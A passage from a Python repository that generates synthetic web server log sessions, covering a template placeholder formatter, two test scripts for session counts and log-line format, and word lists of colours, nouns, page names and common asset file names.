activity_patterns = list(app.activity_patterns()) 258 | duration = random.randint( 259 | average_duration_mins - duration_deviation_mins, 260 | average_duration_mins + duration_deviation_mins, 261 | ) 262 | sd = RandomDatetime(start_date, end_date, hours) 263 | yield Session( 264 | start_datetime=sd, 265 | source_ip=s1.source_ip, 266 | duration_mins=duration, 267 | activity_patterns=activity_patterns, 268 | user_agent=s1.user_agent, 269 | username=username, 270 | app=app, 271 | ) 272 | i += 1 273 | if i > num_sessions: 274 | return 275 | 276 | 277 | def RandomDatetime(start, end, hours_list): 278 | max_delta = end - start 279 | days_delta = timedelta(days=random.randint(0, max_delta.days)) 280 | hours_delta = timedelta(hours=random.choice(hours_list)) 281 | minutes_delta = timedelta(minutes=random.randint(0, 59)) 282 | delta = days_delta + hours_delta + minutes_delta 283 | return start + delta 284 | -------------------------------------------------------------------------------- /string_formatter.py: -------------------------------------------------------------------------------- 1 | import random 2 | from string import ascii_lowercase 3 | from urllib import parse 4 | from ip_handler import IPHandler 5 | import wordlists 6 | import attacks 7 | import sys 8 | 9 | 10 | def handlebar_replace(string, session): 11 | while "__" in string: 12 | # Keep looping until all recursive replacements done 13 | if "__rand_digit__" in string: 14 | string = replace_rand_digit(string) 15 | if "__rand_int__" in string: 16 | string = replace_rand_int(string) 17 | if "__rand_long__" in string: 18 | string = replace_rand_long(string) 19 | if "__inc_int__" in string: 20 | string = replace_inc_int(string, session.iter) 21 | if "__rand_str__" in string: 22 | string = replace_rand_string(string) 23 | if "__rand_css_file__" in string: 24 | string = replace_css_file(string) 25 | if "__rand_js_file__" in string: 26 | string = replace_js_file(string) 27 | if "__rand_cmd_recon__" in string: 28 | string = replace_cmd_recon(string) 29 | if "__rand_cmd_attack__" in string: 30 | string = replace_cmd_attack(string, session) 31 | if "__rand_geo_ip__" in string: 32 | string = replace_rand_geo_ip(string, session) 33 | if "__session_ip__" in string: 34 | string = replace_session_ip(string, session) 35 | if "__rand_sticky_str__" in string: 36 | string = replace_sticky_str(string, session) 37 | if "__theme__" in string: 38 | string = replace_theme(string, session) 39 | if "__rand_two_words__" in string: 40 | string = replace_rand_two_words(string) 41 | if "__rand_app_page_name__" in string: 42 | string = replace_rand_app_page_name(string, session) 43 | if "__app_extension__" in string: 44 | string = replace_app_extension(string, session) 45 | if "__rand_noise__" in string: 46 | string = replace_rand_noise(string, session) 47 | if "__rand_img_ext__" in string: 48 | string = replace_img_extension(string) 49 | if "__backup_ext__" in string: 50 | string = replace_backup_ext(string) 51 | if "__loot__" in string: 52 | string = replace_loot(string) 53 | if "__dir__" in string: 54 | string = replace_dir(string) 55 | return string 56 | 57 | 58 | def replace_rand_digit(param): 59 | return param.replace("__rand_digit__", "{}".format(random.randint(1, 9))) 60 | 61 | 62 | def replace_rand_int(param): 63 | return param.replace("__rand_int__", "{}".format(random.randint(0, 50))) 64 | 65 | 66 | def replace_rand_long(param): 67 | return param.replace("__rand_long__", "{}".format(random.randint(100000, 999999))) 68 | 69 | 70 | def replace_inc_int(param, num): 71 | return param.replace("__inc_int__", "{}".format(num)) 72 | 73 | 74 | def replace_rand_string(param): 75 | return param.replace( 76 | "__rand_str__", "".join(random.choice(ascii_lowercase) for i in range(8)) 77 | ) 78 | 79 | 80 | def replace_cmd_recon(param): 81 | payload = param.replace("__rand_cmd_recon__", random.choice(attacks.command_recon)) 82 | return parse.quote_plus(payload) 83 | 84 | 85 | def replace_cmd_attack(param, session): 86 | if session.attack_payloads != []: 87 | attack_payload = random.choice(session.attack_payloads) 88 | else: 89 | attack_payload = random.choice(attacks.command_attack) 90 | session.chosen_attack_payloads.append(attack_payload) 91 | payload = param.replace("__rand_cmd_attack__", attack_payload) 92 | return parse.quote_plus(payload) 93 | 94 | 95 | def replace_rand_geo_ip(param, session): 96 | return param.replace("__rand_geo_ip__", IPHandler.get_random_ip(session.geo)) 97 | 98 | 99 | def replace_session_ip(param, session): 100 | return param.replace("__session_ip__", session.source_ip) 101 | 102 | 103 | def replace_sticky_str(param, session): 104 | if not session.stickystr: 105 | session.stickystr = replace_rand_string("__rand_str__") 106 | return param.replace("__rand_sticky_str__", session.stickystr) 107 | 108 | 109 | def replace_css_file(param): 110 | return param.replace("__rand_css_file__", random.choice(wordlists.common_css_files)) 111 | 112 | 113 | def replace_js_file(param): 114 | return param.replace("__rand_js_file__", random.choice(wordlists.common_js_files)) 115 | 116 | 117 | def replace_img_extension(param): 118 | return param.replace("__rand_img_ext__", random.choice(wordlists.images_extensions)) 119 | 120 | 121 | def replace_backup_ext(param): 122 | return param.replace("__backup_ext__", random.choice(attacks.backup_extensions)) 123 | 124 | 125 | def replace_dir(param): 126 | dir = random.choice(attacks.dirs) 127 | if dir != "": 128 | dir = f"{dir}/" 129 | return param.replace("__dir__", dir) 130 | 131 | 132 | def replace_loot(param): 133 | return param.replace("__loot__", random.choice(attacks.loot)) 134 | 135 | 136 | def replace_rand_two_words(param): 137 | rand_string = "-".join( 138 | [ 139 | random.choice(wordlists.colours), 140 | random.choice(wordlists.nouns), 141 | ] 142 | ) 143 | return param.replace("__rand_two_words__", rand_string) 144 | 145 | 146 | def replace_app_extension(param, session): 147 | if session.app.extension == "": 148 | return param.replace("__app_extension__", "") 149 | else: 150 | return param.replace( 151 | "__app_extension__", f".{session.app.extension.lstrip('.')}" 152 | ) 153 | 154 | 155 | def replace_rand_app_page_name(param, session): 156 | if session.pages != None: 157 | return param.replace("__rand_app_page_name__", random.choice(session.pages)) 158 | else: 159 | return param.replace( 160 | "__rand_app_page_name__", random.choice(wordlists.webpages) 161 | ) 162 | 163 | 164 | def replace_rand_noise(param, session): 165 | if session.noise != None: 166 | return param.replace("__rand_noise__", random.choice(session.noise)) 167 | else: 168 | return param.replace("__rand_noise__", random.choice(wordlists.noise)) 169 | 170 | 171 | # Theme is run specific so store it here for convenience 172 | this = sys.modules[__name__] 173 | theme = False 174 | 175 | 176 | def replace_theme(param, session): 177 | theme = this.theme 178 | if this.theme: 179 | return param.replace("__theme__", this.theme) 180 | if session.theme != None: 181 | this.theme = session.theme 182 | else: 183 | this.theme = handlebar_replace("__rand_two_words__", session) 184 | return param 185 | -------------------------------------------------------------------------------- /tests/output.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 5 | sys.path.append(os.path.dirname(SCRIPT_DIR)) 6 | from session_generator import SessionGenerator 7 | from models import SessionHandler 8 | import apps 9 | import datetime 10 | 11 | 12 | def generate_sessions( 13 | app, 14 | session_count=20, 15 | start_date="900821", 16 | end_date="900825", 17 | max_session_per_user=3, 18 | ): 19 | sd = datetime.datetime.strptime(start_date, "%Y%m%d") 20 | ed = datetime.datetime.strptime(end_date, "%Y%m%d") 21 | return SessionGenerator( 22 | session_count, 23 | app, 24 | sd, 25 | ed, 26 | max_sessions_per_user=max_session_per_user, 27 | ) 28 | 29 | 30 | log_types = { 31 | "NGINX": {"field_count": 12, "uri_offset": 6}, 32 | "IIS": {"field_count": 15, "uri_offset": 4}, 33 | "CLF": {"field_count": 10, "uri_offset": 6}, 34 | "CLOUDFLARE": {"field_count": 21, "uri_offset": 4}, 35 | "AWS": {"field_count": 31, "uri_offset": 14}, 36 | } 37 | 38 | 39 | def has_double_extension(log_line, uri_offset): 40 | uri = log_line.split(" ")[uri_offset] 41 | if "?" in uri: 42 | # If we have params, drop them 43 | uri = uri.split("?")[0] 44 | try: 45 | return uri.split(".")[-1] == uri.split(".")[-2] 46 | except: 47 | return False 48 | 49 | 50 | for application in apps.apps.keys(): 51 | print(f"Testing {application}...") 52 | for log_type in log_types.keys(): 53 | print(f"... testing log type {log_type}") 54 | log_uri_offset = 6 55 | logs = [] 56 | sh = SessionHandler() 57 | for session in generate_sessions(app=apps.apps[application]): 58 | sh.add_session(session) 59 | print(f"...... got {len(sh.sessions)} sessions") 60 | i = 0 61 | while sh.active_sessions: 62 | for log_entry in sh.iter(log_type): 63 | i += 1 64 | # Test each log line has the correct number of whitespace seperators 65 | assert ( 66 | len(log_entry["log"].split(" ")) 67 | == log_types[log_type]["field_count"] 68 | ) 69 | # Test each log line has no handlebars 70 | assert "__" not in log_entry["log"] 71 | # Teast eah log line has no double extensions 72 | assert not has_double_extension( 73 | log_entry["log"], log_types[log_type]["uri_offset"] 74 | ), f"This log entry contains a double extension {log_entry['log']}" 75 | print(f"...... tested {i} log lines") 76 | -------------------------------------------------------------------------------- /tests/requirements.txt: -------------------------------------------------------------------------------- 1 | numpy -------------------------------------------------------------------------------- /tests/session_generation.py: -------------------------------------------------------------------------------- 1 | import os 2 | from random import randint 3 | import sys 4 | 5 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 6 | sys.path.append(os.path.dirname(SCRIPT_DIR)) 7 | from session_generator import SessionGenerator 8 | from models import ActivityPattern, SessionHandler 9 | from apps import banking, generic 10 | import datetime 11 | import numpy 12 | 13 | # def SessionGenerator( 14 | # num_sessions, 15 | # app, 16 | # start_date, 17 | # end_date, 18 | # average_duration_mins=30, 19 | # duration_deviation_mins=5, 20 | # user_agents=default_user_agents, 21 | # geos=default_geos, 22 | # hour_profile=hour_profile, 23 | # max_sessions_per_user=5, 24 | # ): 25 | 26 | ### Test Sessions 27 | 28 | 29 | def generate_sessions( 30 | session_count=100, 31 | start_date="900821", 32 | end_date="900825", 33 | max_session_per_user=3, 34 | ): 35 | sd = datetime.datetime.strptime(start_date, "%Y%m%d") 36 | ed = datetime.datetime.strptime(end_date, "%Y%m%d") 37 | return SessionGenerator( 38 | session_count, 39 | generic, 40 | sd, 41 | ed, 42 | max_sessions_per_user=max_session_per_user, 43 | ) 44 | 45 | 46 | def session_iteration_count(session): 47 | count = 0 48 | for ap in session.activity_patterns: 49 | if ap.consecutive == True: 50 | count += len(ap.interactions) 51 | else: 52 | count += ap.count 53 | return count 54 | 55 | 56 | session_length_tests = [10, 20, 50, 100] 57 | max_sessions_per_user_tests = [1, 3, 5, 10] 58 | 59 | # Test different session count configurations 60 | 61 | for session_count in session_length_tests: 62 | for max_sessions_per_user in max_sessions_per_user_tests: 63 | print( 64 | f"testing session counts - SESSION COUNT:'{session_count}' SESSIONS PER USER: '{max_sessions_per_user}'" 65 | ) 66 | sessions = list( 67 | generate_sessions( 68 | session_count=session_count, 69 | max_session_per_user=max_sessions_per_user, 70 | ) 71 | ) 72 | # Test session count matches up 73 | lower_bound = session_count - max_sessions_per_user 74 | upper_bound = session_count + max_sessions_per_user 75 | print( 76 | f"... we have '{len(sessions)}' sessions which should be between {lower_bound} and {upper_bound}" 77 | ) 78 | assert lower_bound <= len(sessions) <= upper_bound 79 | # Test source IPs and username counts are as expected 80 | if max_sessions_per_user > 1 and session_count / max_sessions_per_user > 2: 81 | source_ips = list(x.source_ip for x in sessions) 82 | source_users = list(x.source_ip for x in sessions) 83 | deduped_list_count = lambda e: len(list(dict.fromkeys(e))) 84 | source_ip_count = deduped_list_count(source_ips) 85 | source_user_count = deduped_list_count(source_users) 86 | average_sessions_per_user = max_sessions_per_user / 2 87 | ideal_source_count = session_count / average_sessions_per_user 88 | print( 89 | f"... we have {source_ip_count} unique source IPs, and should have around {ideal_source_count:.0f}" 90 | ) 91 | assert ideal_source_count * 0.5 < source_ip_count < ideal_source_count * 1.5 92 | print( 93 | f"... we have {source_user_count} unique users, and should have around {ideal_source_count:.0f}" 94 | ) 95 | assert ( 96 | ideal_source_count * 0.5 < source_user_count < ideal_source_count * 1.5 97 | ) 98 | 99 | session_interaction_counts = list(session_iteration_count(x) for x in sessions) 100 | session_interaction_counts.sort() 101 | 102 | deviation = numpy.std(session_interaction_counts) 103 | print( 104 | f"... session interactions deviate between {session_interaction_counts[0]} and {session_interaction_counts[-1]} with a deviation of {deviation:.2f}" 105 | ) 106 | assert 1.5 < deviation 107 | 108 | 109 | # Test session timestamp generation and spread 110 | 111 | log_window_days_tests = [1, 2, 4, 8, 16, 32, 200] 112 | 113 | 114 | def session_start(e): 115 | return e.start_datetime 116 | 117 | 118 | for log_windows_days in log_window_days_tests: 119 | y = randint(1980, 2160) 120 | m = randint(1, 12) 121 | d = randint(1, 28) 122 | sd = f"{y}{m:02d}{d:02d}" 123 | sdt = datetime.datetime.strptime(sd, "%Y%m%d") 124 | edt = sdt + datetime.timedelta(days=log_windows_days) 125 | ed = edt.strftime("%Y%m%d") 126 | sc = 50 127 | sessions = list(generate_sessions(start_date=sd, end_date=ed, session_count=sc)) 128 | sessions.sort(key=lambda e: e.start_datetime) 129 | print(f"testing session population - sessions should start between {sd} and {ed} ") 130 | print( 131 | f"... earliest session is {sessions[0].start_datetime} and latest is {sessions[-1].start_datetime}" 132 | ) 133 | # Earliest session is after the start date 134 | assert sessions[0].start_datetime >= sdt 135 | # Latest session starts before the requested end 136 | assert sessions[-1].start_datetime <= edt 137 | std_ts = sdt.timestamp() 138 | start_times = list((x.start_datetime.timestamp() - std_ts) for x in sessions) 139 | target_deviation_s = ( 140 | (log_windows_days) * 24 * 60 * 60 141 | ) / 4 # 4 being halfway to halfway (which is mean) 142 | deviation_s = numpy.std(start_times) 143 | print( 144 | f"... session start time deviation is {deviation_s:.0f} and should be {target_deviation_s:.0f} which is factor difference of {deviation_s / target_deviation_s:.2f}" 145 | ) 146 | assert 0.5 < (deviation_s / target_deviation_s) < 1.5 147 | -------------------------------------------------------------------------------- /wordlists.py: -------------------------------------------------------------------------------- 1 | images_extensions = [ 2 | "jpg", 3 | "jpeg", 4 | "gif", 5 | "png", 6 | "svg", 7 | ] 8 | 9 | common_css_files = [ 10 | "blocks.min.css", 11 | "font-awesome.min.css", 12 | "simpleLightbox.min.css", 13 | "slick-theme.min.css", 14 | "slick.min.css", 15 | "style.min.css", 16 | "theme.min.css", 17 | ] 18 | 19 | common_js_files = [ 20 | "custom.min.js", 21 | "html5.min.js", 22 | "jquery.countdown.min.js", 23 | "navigation.min.js", 24 | "simpleLightbox.min.js", 25 | "skip-link-focus-fix.min.js", 26 | "slick.min.js", 27 | "jquery-migrate.min.js", 28 | "jquery.js", 29 | ] 30 | 31 | common_image_files = [ 32 | "background", 33 | "logo", 34 | ] 35 | 36 | common_image_files = list(f"{x}.__rand_img_ext__" for x in common_image_files) 37 | noise = common_css_files + common_js_files + common_image_files 38 | 39 | colours = [ 40 | "amber", 41 | "ash", 42 | "asphalt", 43 | "auburn", 44 | "avocado", 45 | "aquamarine", 46 | "azure", 47 | "beige", 48 | "bisque", 49 | "black", 50 | "blue", 51 | "bone", 52 | "bordeaux", 53 | "brass", 54 | "bronze", 55 | "brown", 56 | "burgundy", 57 | "camel", 58 | "caramel", 59 | "canary", 60 | "celeste", 61 | "cerulean", 62 | "champagne", 63 | "charcoal", 64 | "chartreuse", 65 | "chestnut", 66 | "chocolate", 67 | "citron", 68 | "claret", 69 | "coal", 70 | "cobalt", 71 | "coffee", 72 | "coral", 73 | "corn", 74 | "cream", 75 | "crimson", 76 | "cyan", 77 | "denim", 78 | "desert", 79 | "ebony", 80 | "ecru", 81 | "emerald", 82 | "feldspar", 83 | "fuchsia", 84 | "gold", 85 | "gray", 86 | "green", 87 | "heather", 88 | "indigo", 89 | "ivory", 90 | "jet", 91 | "khaki", 92 | "lime", 93 | "magenta", 94 | "maroon", 95 | "mint", 96 | "navy", 97 | "olive", 98 | "orange", 99 | "pink", 100 | "plum", 101 | "purple", 102 | "red", 103 | "rust", 104 | "salmon", 105 | "sienna", 106 | "silver", 107 | "snow", 108 | "steel", 109 | "tan", 110 | "teal", 111 | "tomato", 112 | "violet", 113 | "white", 114 | "yellow", 115 | ] 116 | 117 | nouns = [ 118 | "admin", 119 | "agreeance", 120 | "alignment", 121 | "application", 122 | "architecture", 123 | "availability", 124 | "backburner", 125 | "bandwidth", 126 | "baseline", 127 | "benefit", 128 | "boondoggle", 129 | "brass", 130 | "buy-in", 131 | "capital", 132 | "chain", 133 | "channel", 134 | "community", 135 | "content", 136 | "convergence", 137 | "coopetition", 138 | "cowboy", 139 | "creative", 140 | "data", 141 | "deck", 142 | "deliverable", 143 | "delta", 144 | "dialogue", 145 | "disconnect", 146 | "dog", 147 | "empowerment", 148 | "experience", 149 | "expertise", 150 | "flunky", 151 | "functionality", 152 | "gatekeeper", 153 | "gofer", 154 | "goldbricker", 155 | "hardball", 156 | "idea", 157 | "ideation", 158 | "imperative", 159 | "improvement", 160 | "infomediary", 161 | "information", 162 | "infrastructure", 163 | "initiative", 164 | "innovation", 165 | "interface", 166 | "issue", 167 | "item", 168 | "kicker", 169 | "kudos", 170 | "language", 171 | "leadership", 172 | "learning", 173 | "linkage", 174 | "market", 175 | "material", 176 | "methodology", 177 | "metrics", 178 | "mindshare", 179 | "model", 180 | "network", 181 | "niche", 182 | "opportunity", 183 | "ownership", 184 | "paradigm", 185 | "partnership", 186 | "pivot", 187 | "platform", 188 | "portal", 189 | "potentiality", 190 | "practice", 191 | "procedure", 192 | "process", 193 | "product", 194 | "pushback", 195 | "relationship", 196 | "report", 197 | "resource", 198 | "result", 199 | "runway", 200 | "scenario", 201 | "schema", 202 | "scrub", 203 | "service", 204 | "shrink", 205 | "sidebar", 206 | "silo", 207 | "skill", 208 | "skillset", 209 | "solution", 210 | "source", 211 | "space", 212 | "strategy", 213 | "synergy", 214 | "system", 215 | "talent", 216 | "technology", 217 | "upside", 218 | "value", 219 | "vector", 220 | "verbiage", 221 | "vision", 222 | ] 223 | 224 | webpages = [ 225 | "about", 226 | "abouts", 227 | "benefits", 228 | "blog", 229 | "casestudies", 230 | "chat", 231 | "contact", 232 | "contactus", 233 | "download", 234 | "feeds", 235 | "faq", 236 | "news", 237 | "products", 238 | "services", 239 | "social", 240 | "sitemap", 241 | "vacancies", 242 | "view", 243 | ] 244 | --------------------------------------------------------------------------------